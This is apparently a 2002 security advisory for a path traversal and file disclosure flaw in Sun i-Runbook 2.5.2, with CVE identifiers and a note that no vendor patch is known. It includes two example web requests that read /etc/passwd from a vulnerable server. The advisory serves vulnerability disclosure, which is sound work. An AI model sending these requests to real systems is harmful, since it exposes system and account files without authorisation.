Sun i-Runbook Directory And File Content Disclosure Vulnerability

Bugtraq ID:	5209
Class:	Input Validation Error
CVE:	CVE-2002-1033 CVE-2002-1034
Remote:	Yes
Local:	No
Published:	Jul 11 2002 12:00AM
Updated:	Jul 11 2009 02:56PM
Credit:	Discovered by [email protected].
Vulnerable:	Sun i-Runbook 2.5.2
Not Vulnerable:

Sun i-Runbook Directory And File Content Disclosure Vulnerability

Sun i-Runbook is a single point of technical and administration management for Sun production environments. i-Runbook provides a web interface.

i-Runbook can be led to disclose the contents of a known resource. This is accomplished by submitting a specially crafted request with the absolute path to a known directory or file.

This issue could result in the disclosure of sensitive information.

Sun i-Runbook Directory And File Content Disclosure Vulnerability

[email protected] has provided the following example http requests:

http://<Serverip:port>/content/base/build/explorer/none.php?..:..:..:..:..:.
.:..:etc:passwd:

or

http://<Serverip:port>/content/base/build/explorer/none.php?/etc/passwd

Sun i-Runbook Directory And File Content Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Sun i-Runbook Directory And File Content Disclosure Vulnerability

References:

• SUN i-RUNBOOK (Sun)